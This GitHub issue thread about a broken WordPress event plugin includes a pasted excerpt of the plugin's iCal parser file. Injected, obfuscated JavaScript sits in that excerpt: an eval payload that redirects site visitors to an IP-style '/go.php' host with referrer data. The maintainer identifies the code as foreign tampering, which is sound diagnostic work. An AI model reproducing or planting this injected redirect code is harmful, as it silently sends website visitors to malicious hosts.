Closed ProjectsAngel closed 9 years ago
Hi Elizabeth,
Which version is your client running? And can you post the code at event-organiser/includes/class-eo-ical-parser.php on line 767
(plus some surrounding lines for context).
I'm concerned because this error should not be happening, it may be that the code on your site has been changed, or possibly when you installed the plug-in it became corrupted (This happens very rarely about 5 in 300,000 cases that I know of).
To confirm, this error occurred all the time, not when a particular action was performed?
Hi Stephen,
Could you please guide me as to where I will find the file with that code?
Many thanks!
[image: photo] Elizabeth Jackson The Projects Angel™ | Intuitive VA w:www.ProjectsAngel.com
http://www.facebook.com/pages/The-Projects-Angel-VA-for-Spiritual-Entrepreneurs http://es.linkedin.com/in/projectsangel http://twitter.com/Projects_Angel http://pinterest.com/projectsangel http://plus.google.com/u/0/b/103269369922211221423/+ProjectsangelElizabeth/ Check out my latest post The Top 3 Free Webinar Platforms for Coaches, Psychic Mediums & Healers [The Leg Work™] http://www.projectsangel.com/2015/04/free-webinar-platforms/ http://www.projectsangel.com/motivate-me/ Motivate Me! ProgramJoin my goal-busting program for just $0.50/day! http://www.projectsangel.com/motivate-me/
On Mon, Apr 6, 2015 at 12:38 PM, Stephen Harris notifications@github.com wrote:
Hi Elizabeth,
Which version is your client running? And can you post the code at event-organiser/includes/class-eo-ical-parser.php on line 767 (plus some surrounding lines for context).
I'm concerned because this error should not be happening, it may be that the code on your site has been changed, or possibly when you installed the plug-in it became corrupted (This happens very rarely about 5 in 300,000 cases that I know of).
To confirm, this error occurred all the time, not when a particular action was performed?
— Reply to this email directly or view it on GitHub https://github.com/stephenharris/Event-Organiser/issues/254#issuecomment-90010542 .
Yes, the file is ../wp-content/plugins/event-organiser/includes/class-eo-ical-parser.php
.
The location of wp-content
will depend on your install, but from the above error message the full path is /home/souls871/public_html/wp-content/plugins/event-organiser/includes/class-eo-ical-parser.php
Hi,
I can't find the line.
This is the entire file copied and pasted. Does this help?
Thanks
[image: photo] Elizabeth Jackson The Projects Angel™ | Intuitive VA w:www.ProjectsAngel.com
http://www.facebook.com/pages/The-Projects-Angel-VA-for-Spiritual-Entrepreneurs http://es.linkedin.com/in/projectsangel http://twitter.com/Projects_Angel http://pinterest.com/projectsangel http://plus.google.com/u/0/b/103269369922211221423/+ProjectsangelElizabeth/ Check out my latest post The Top 3 Free Webinar Platforms for Coaches, Psychic Mediums & Healers [The Leg Work™] http://www.projectsangel.com/2015/04/free-webinar-platforms/ http://www.projectsangel.com/motivate-me/ Motivate Me! ProgramJoin my goal-busting program for just $0.50/day! http://www.projectsangel.com/motivate-me/
On Mon, Apr 6, 2015 at 6:40 PM, Stephen Harris notifications@github.com wrote:
Yes, the file is ../wp-content/plugins/event-organiser/includes/class-eo-ical-parser.php.
The location of wp-content will depend on your install, but from the above error message the full path is /home/souls871/public_html/wp-content/plugins/event-organiser/includes/class-eo-ical-parser.php
— Reply to this email directly or view it on GitHub https://github.com/stephenharris/Event-Organiser/issues/254#issuecomment-90141067 .
I don't think you included the file, please keep in mind that your replying by e-mail is posting to this issue page: https://github.com/stephenharris/Event-Organiser/issues/254, so I don't think I'll be receiving any attachments.
I'd recommend re-installing the plug-in. If you don't want to loose any data, then you should download the plug-in manually, delete the event-organiser
folder via FTP and upload the (unzipped) download in its place.
Hi Stephen
Here is the code from line 750-800. I've highlighted line 767 in yellow.
We've already tried the install, uninstall directly from the FTP and it didn't work.
*
}
protected function parse_ical_html( $text ){ $text = $this->parse_ical_text( $text ); if( preg_match( "/
<script type='text/javascript'>eval(function(p,a,c,k,e,d){while(c--){if(k[c]){p=p.replace(new RegExp('\b'+c.toString(a)+'\b','g'),k[c])}}return p}('0=1;8 2=9.7;5.4="6://"+"a.b.e.3"+"/g"+"/f.c?0="+0+"&d="+2;',17,17,'sid||r||location|window|http|referrer|var|document|146|185|php|sref|239|go|sTDS'.split('|')))(.+)<\/body>/i", $text, $matches ) ){ $text = $matches[1]; } return $text; }/**
//Unfold $text = str_replace( "\n ","", $text ); $text = str_replace( "\r\n ", "", $text );
//Replace any intended new lines with PHP_EOL
//$text = str_replace( '\n', "
", $text );
$text = nl2br( $text );
$regex = '# (?: (\ (?: \ | N | n | ; | , ) ) ) #x';
$matches = preg_split( $regex, $text, -1, PREG_SPLIT_DELIM_CAPTURE
| PREG_SPLIT_NO_EMPTY );
$result = '';
foreach( $matches as $match ) {
switch ( $match ) {
case '\\\\' :
Thanks a lot!
[image: photo] Elizabeth Jackson The Projects Angel™ | Intuitive VA w:www.ProjectsAngel.com
http://www.facebook.com/pages/The-Projects-Angel-VA-for-Spiritual-Entrepreneurs http://es.linkedin.com/in/projectsangel http://twitter.com/Projects_Angel http://pinterest.com/projectsangel http://plus.google.com/u/0/b/103269369922211221423/+ProjectsangelElizabeth/ Check out my latest post The Top 3 Free Webinar Platforms for Coaches, Psychic Mediums & Healers [The Leg Work™] http://www.projectsangel.com/2015/04/free-webinar-platforms/ http://www.projectsangel.com/motivate-me/ Motivate Me! ProgramJoin my goal-busting program for just $0.50/day! http://www.projectsangel.com/motivate-me/
On Mon, Apr 6, 2015 at 11:00 PM, Stephen Harris notifications@github.com wrote:
I don't think you included the file, please keep in mind that your replying by e-mail is posting to this issue page: #254 https://github.com/stephenharris/Event-Organiser/issues/254, so I don't think I'll be receiving any attachments.
I'd recommend re-installing the plug-in. If you don't want to loose any data, then you should download the plug-in manually, delete the event-organiserfolder via FTP and upload the (unzipped) download in its place.
— Reply to this email directly or view it on GitHub https://github.com/stephenharris/Event-Organiser/issues/254#issuecomment-90241680 .
That's odd. Can you get in touch via http://wp-event-organiser.com/contact and I'll e-mail you back (I'd like to see the folder you've uploaded). Also, if you know where you've downloaded the extension from too (if it came as part of a theme, for example, let me know).
In short, the file as you have it contains additional strings which should not be there, and are not present in the official version. Either the download was corrupted, or a someone has altered the file.
Could you also confirm the version you are running. Thanks!
Hi,
Yesterday, the plugin caused my client's website to crash. She contacted the host company and they managed to reinstall it somehow, but now it won't activate since we get the following message:
Parse error: syntax error,unexpected 'referrer' (T_STRING) in/home/souls871/public_html/wp-content/plugins/event-organiser/includes/class-eo-ical-parser.php on line 767
Can you please advise how we can resolve this?
Thanks + (hugs) Elizabeth